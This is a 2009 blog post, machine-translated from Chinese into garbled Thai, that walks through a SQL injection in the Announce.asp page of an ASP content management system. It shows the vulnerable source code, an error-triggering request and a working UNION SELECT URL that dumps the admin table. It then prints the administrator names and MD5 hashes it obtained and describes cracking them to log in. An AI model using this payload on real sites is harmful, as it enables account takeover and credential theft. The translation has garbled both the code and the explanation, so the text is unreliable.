พาวเวอร์ลงในการใช้งาน Announce.asp Announce.asp, ASP, ไฟ CMS, SQL ฉีด, บล็อกฉีด st0p 's

Announce.asp อำนาจฉีดเข้าไปในการใช้

รายการนี้ถูกโพสต์เมื่อ 25 มิถุนายน 2009

: St0p

อาหดหู่ธุระเร็ว ๆ นี้ในสถานีพบพลังที่จะเปลี่ยน แต่มากของการเปลี่ยนแปลงในท้องถิ่น ที่อยู่ของไฟล์ที่ไม่เหมาะสม, หดหู่, การทดสอบเพื่อ Announce.asp พบสามารถฉีด .

'http://www.st0p.org/Announce.asp?ChannelID=2

ข้อผิดพลาดที่เกิดขึ้นต่อไปนี้

ฐานข้อมูล Microsoft เครื่องยนต์ JET '80040e14 ข้อผิดพลาด '

ผิดพลาดทางไวยากรณ์ String ในนิพจน์แบบสอบถาม 'isSelected = True และ (ChannelID = 0 หรือ ChannelID = 2') และ (ShowType = 0 หรือ ShowType = 2) คำสั่งโดยใช้ ID Desc '

. / Announce.asp, สาย 19

Ga มีถูกฉีดคุณสามารถใช้
แล้วไปออนไลน์เพื่อหาระบบการดาวน์โหลด dynamical การวิเคราะห์พบว่า ID Clng กรอง แต่ไม่ ChannelID กรองคุณสามารถใช้

  ( request ( "ID" ) ) ID = (คำขอ ("ID")) Trim
 ( request ( "ChannelID" ) ) '这里只检则了是否为空 ChannelID = (คำขอ ("ChannelID")) Trim 'เท่านั้นตรวจสอบว่าว่างเปล่า
 & ChannelID & ")" '这里直接调用了语句 sqlAnnounce = "select * from ประกาศที่ isSelected = True และ (ChannelID = 0 หรือ ChannelID =" & ChannelID & ")" โทรมาที่นี่เพื่อตรงกับคำสั่ง
 "" then ถ้า ID <> "" แล้ว
	 " and (ShowType=0 or ShowType=1) and ID=" & Clng ( ID ) sqlAnnounce sqlAnnounce = & "และ (ShowType = 0 หรือ ShowType = 1) และ ID =" & Clng (ID) 
 อื่น
	 " and (ShowType=0 or ShowType=2)" sqlAnnounce sqlAnnounce = & "และ (ShowType = 0 หรือ ShowType = 2)"
 สิ้นสุดหาก
 " order by ID Desc" sqlAnnounce = "สั่งโดยใช้ ID Desc" sqlAnnounce &
 Server . CreateObject ( "ADODB.Recordset" ) ตั้ง rsAnnounce = CreateObject เซิร์ฟเวอร์. ("ADODB.Recordset")
 , 1 rsAnnounce. sqlAnnounce เปิด conn, 1, 1

st0p โดยตรงเป็นคำสั่งอ่านออกบัญชีผู้ดูแลระบบและรหัสผ่าน

http://www.st0p.org/Announce.asp?id=2&ChannelID=-1)% 20and% 20 (1 = 2% 20union)% 20id% 20select ชื่อผู้ใช้รหัสผ่านขอบเขต, LastLoginTime, LastLoginIP, LoginTimes, AdminPurview_Article 20from%%% 20admin 20union%% 20select 20% 20from% *% 20Announce% 20where% 20 20 (1 = 2, หยุดเมื่อสองของผู้บริหารชั้นนำนี้ออกทั้งหมด

ที่บัญชี: adminB
รหัสผ่าน: 49ba59abbe56e057

บัญชี: admin
รหัสผ่าน: d9a65233eab47930

ด้วยข้อมูลนี้เราสามารถไปแตก MD5 และที่ดินแล้วในบันทึกหลังจากที่สแตนด์บาย นี้ยังเป็นบล็อกเผยแพร่ st0p ใหม่เข้าสู่ระบบเดิม